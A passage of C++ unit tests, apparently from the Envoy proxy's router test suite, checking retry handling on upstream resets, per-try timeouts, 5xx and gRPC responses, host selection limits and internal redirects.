router_.retry_state_->expectResetRetry(); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::LocalReset); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)).WillOnce(Return(nullptr)); Http::TestHeaderMapImpl response_headers{ {":status", "503"}, {"content-length", "19"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::NoHealthyUpstream)); router_.retry_state_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, RetryUpstreamReset) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); router_.retry_state_->expectResetRetry(); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); // We expect this reset to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); router_.retry_state_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } // Verifies that when the request fails with an upstream reset (per try timeout in this case) // before an upstream host has been established, then the onHostAttempted function will not be // invoked. This ensures that we're not passing a null host to the retry plugins. TEST_F(RouterTest, RetryUpstreamPerTryTimeout) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); expectPerTryTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_CALL(*router_.retry_state_, onHostAttempted(_)); router_.retry_state_->expectResetRetry(); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(504)); per_try_timeout_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect this reset to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); expectPerTryTimerCreate(); router_.retry_state_->callback_(); EXPECT_CALL(*router_.retry_state_, onHostAttempted(_)); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } // Asserts that onHostAttempted is *not* called when the upstream connection fails in such // a way that no host is present. TEST_F(RouterTest, RetryUpstreamConnectionFailure) { Http::ConnectionPool::Callbacks* conn_pool_callbacks; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder&, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { conn_pool_callbacks = &callbacks; return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_CALL(*router_.retry_state_, onHostAttempted(_)).Times(0); router_.retry_state_->expectResetRetry(); conn_pool_callbacks->onPoolFailure(Http::ConnectionPool::PoolFailureReason::ConnectionFailure, absl::string_view(), nullptr); Http::StreamDecoder* response_decoder = nullptr; // We expect this reset to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); router_.retry_state_->callback_(); EXPECT_CALL(*router_.retry_state_, onHostAttempted(_)); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } TEST_F(RouterTest, DontResetStartedResponseOnUpstreamPerTryTimeout) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); expectPerTryTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-internal", "true"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // Since the response is already started we don't retry. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(callbacks_, encodeHeaders_(_, false)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); Buffer::OwnedImpl body("test body"); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); per_try_timeout_->callback_(); EXPECT_CALL(callbacks_, encodeData(_, true)); response_decoder->decodeData(body, true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); EXPECT_EQ(0U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_rq_per_try_timeout") .value()); } TEST_F(RouterTest, RetryUpstreamResetResponseStarted) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // Since the response is already started we don't retry. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(callbacks_, encodeHeaders_(_, false)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), false); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); // For normal HTTP, once we have a 200 we consider this a success, even if a // later reset occurs. EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } TEST_F(RouterTest, RetryUpstreamReset100ContinueResponseStarted) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // The 100-continue will result in resetting retry_state_, so when the stream // is reset we won't even check shouldRetryReset() (or shouldRetryHeaders()). EXPECT_CALL(*router_.retry_state_, shouldRetryReset(_, _)).Times(0); EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).Times(0); EXPECT_CALL(callbacks_, encode100ContinueHeaders_(_)); Http::HeaderMapPtr continue_headers(new Http::TestHeaderMapImpl{{":status", "100"}}); response_decoder->decode100ContinueHeaders(std::move(continue_headers)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); encoder1.stream_.resetStream(Http::StreamResetReason::RemoteReset); } TEST_F(RouterTest, RetryUpstream5xx) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the 5xx response to kick off a new request. EXPECT_CALL(encoder1.stream_, resetStream(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); router_.retry_state_->callback_(); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(cm_.conn_pool_.host_->health_checker_, setUnhealthy()).Times(0); Http::HeaderMapPtr response_headers2(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers2), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } TEST_F(RouterTest, RetryTimeoutDuringRetryDelay) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // Fire timeout. EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putResponseTime(_)).Times(0); Http::TestHeaderMapImpl response_headers{ {":status", "504"}, {"content-length", "24"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); response_timeout_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, RetryTimeoutDuringRetryDelayWithUpstreamRequestNoHost) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); Http::ConnectionPool::MockCancellable cancellable; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks&) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; return &cancellable; })); router_.retry_state_->callback_(); // Fire timeout. EXPECT_CALL(cancellable, cancel()); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putResponseTime(_)).Times(0); Http::TestHeaderMapImpl response_headers{ {":status", "504"}, {"content-length", "24"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); response_timeout_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } // Retry timeout during a retry delay leading to no upstream host, as well as an alt response code. TEST_F(RouterTest, RetryTimeoutDuringRetryDelayWithUpstreamRequestNoHostAltResponseCode) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}, {"x-envoy-upstream-rq-timeout-alt-response", "204"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); Http::ConnectionPool::MockCancellable cancellable; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks&) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; return &cancellable; })); router_.retry_state_->callback_(); // Fire timeout. EXPECT_CALL(cancellable, cancel()); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamRequestTimeout)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putResponseTime(_)).Times(0); Http::TestHeaderMapImpl response_headers{{":status", "204"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), true)); response_timeout_->callback_(); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, RetryUpstream5xxNotComplete) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::InstancePtr body_data(new Buffer::OwnedImpl("hello")); EXPECT_CALL(*router_.retry_state_, enabled()).WillOnce(Return(true)); EXPECT_CALL(callbacks_, addDecodedData(_, true)); EXPECT_EQ(Http::FilterDataStatus::StopIterationNoBuffer, router_.decodeData(*body_data, false)); Http::TestHeaderMapImpl trailers{{"some", "trailer"}}; router_.decodeTrailers(trailers); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(encoder1.stream_, resetStream(Http::StreamResetReason::LocalReset)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the 5xx response to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); ON_CALL(callbacks_, decodingBuffer()).WillByDefault(Return(body_data.get())); EXPECT_CALL(encoder2, encodeHeaders(_, false)); EXPECT_CALL(encoder2, encodeData(_, false)); EXPECT_CALL(encoder2, encodeTrailers(_)); router_.retry_state_->callback_(); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putResponseTime(_)); EXPECT_CALL(cm_.conn_pool_.host_->health_checker_, setUnhealthy()); Http::HeaderMapPtr response_headers2(new Http::TestHeaderMapImpl{ {":status", "200"}, {"x-envoy-immediate-health-check-fail", "true"}}); response_decoder->decodeHeaders(std::move(response_headers2), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("retry.upstream_rq_503") .value()); EXPECT_EQ( 1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("upstream_rq_200").value()); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("zone.zone_name.to_az.upstream_rq_200") .value()); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("zone.zone_name.to_az.upstream_rq_2xx") .value()); } TEST_F(RouterTest, RetryUpstreamGrpcCancelled) { NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-grpc-on", "cancelled"}, {"x-envoy-internal", "true"}, {"content-type", "application/grpc"}, {"grpc-timeout", "20S"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // gRPC with status "cancelled" (1) router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1( new Http::TestHeaderMapImpl{{":status", "200"}, {"grpc-status", "1"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers1), true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the grpc-status to result in a retried request. EXPECT_CALL(encoder1.stream_, resetStream(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); router_.retry_state_->callback_(); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"grpc-status", "0"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } // Verifies that the initial host is select with max host count of one, but during retries // RetryPolicy will be consulted. TEST_F(RouterTest, RetryRespsectsMaxHostSelectionCount) { router_.reject_all_hosts_ = true; NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); ON_CALL(*router_.retry_state_, hostSelectionMaxAttempts()).WillByDefault(Return(3)); // The router should accept any host at this point, since we're not in a retry. EXPECT_EQ(1, router_.hostSelectionRetryCount()); Buffer::InstancePtr body_data(new Buffer::OwnedImpl("hello")); EXPECT_CALL(*router_.retry_state_, enabled()).WillOnce(Return(true)); EXPECT_CALL(callbacks_, addDecodedData(_, true)); EXPECT_EQ(Http::FilterDataStatus::StopIterationNoBuffer, router_.decodeData(*body_data, false)); Http::TestHeaderMapImpl trailers{{"some", "trailer"}}; router_.decodeTrailers(trailers); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(encoder1.stream_, resetStream(Http::StreamResetReason::LocalReset)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the 5xx response to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); ON_CALL(callbacks_, decodingBuffer()).WillByDefault(Return(body_data.get())); EXPECT_CALL(encoder2, encodeHeaders(_, false)); EXPECT_CALL(encoder2, encodeData(_, false)); EXPECT_CALL(encoder2, encodeTrailers(_)); router_.retry_state_->callback_(); // Now that we're triggered a retry, we should see the configured number of host selections. EXPECT_EQ(3, router_.hostSelectionRetryCount()); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(cm_.conn_pool_.host_->health_checker_, setUnhealthy()).Times(0); Http::HeaderMapPtr response_headers2(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers2), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } // Verifies that the initial request accepts any host, but during retries // RetryPolicy will be consulted. TEST_F(RouterTest, RetryRespectsRetryHostPredicate) { router_.reject_all_hosts_ = true; NiceMock<Http::MockStreamEncoder> encoder1; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder1, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); NiceMock<Upstream::MockHost> host; // The router should accept any host at this point, since we're not in a retry. EXPECT_FALSE(router_.shouldSelectAnotherHost(host)); Buffer::InstancePtr body_data(new Buffer::OwnedImpl("hello")); EXPECT_CALL(*router_.retry_state_, enabled()).WillOnce(Return(true)); EXPECT_CALL(callbacks_, addDecodedData(_, true)); EXPECT_EQ(Http::FilterDataStatus::StopIterationNoBuffer, router_.decodeData(*body_data, false)); Http::TestHeaderMapImpl trailers{{"some", "trailer"}}; router_.decodeTrailers(trailers); // 5xx response. router_.retry_state_->expectHeadersRetry(); Http::HeaderMapPtr response_headers1(new Http::TestHeaderMapImpl{{":status", "503"}}); EXPECT_CALL(encoder1.stream_, resetStream(Http::StreamResetReason::LocalReset)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(503)); response_decoder->decodeHeaders(std::move(response_headers1), false); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); // We expect the 5xx response to kick off a new request. NiceMock<Http::MockStreamEncoder> encoder2; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder2, cm_.conn_pool_.host_); return nullptr; })); ON_CALL(callbacks_, decodingBuffer()).WillByDefault(Return(body_data.get())); EXPECT_CALL(encoder2, encodeHeaders(_, false)); EXPECT_CALL(encoder2, encodeData(_, false)); EXPECT_CALL(encoder2, encodeTrailers(_)); router_.retry_state_->callback_(); // Now that we're triggered a retry, we should see the router reject hosts. EXPECT_TRUE(router_.shouldSelectAnotherHost(host)); // Normal response. EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); EXPECT_CALL(cm_.conn_pool_.host_->health_checker_, setUnhealthy()).Times(0); Http::HeaderMapPtr response_headers2(new Http::TestHeaderMapImpl{{":status", "200"}}); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); response_decoder->decodeHeaders(std::move(response_headers2), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 1)); } TEST_F(RouterTest, InternalRedirectRejectedOnSecondPass) { enableRedirects(); default_request_headers_.insertEnvoyOriginalUrl().value(std::string("http://www.foo.com")); sendRequest(); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithEmptyLocation) { enableRedirects(); sendRequest(); redirect_headers_->insertLocation().value(std::string("")); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); 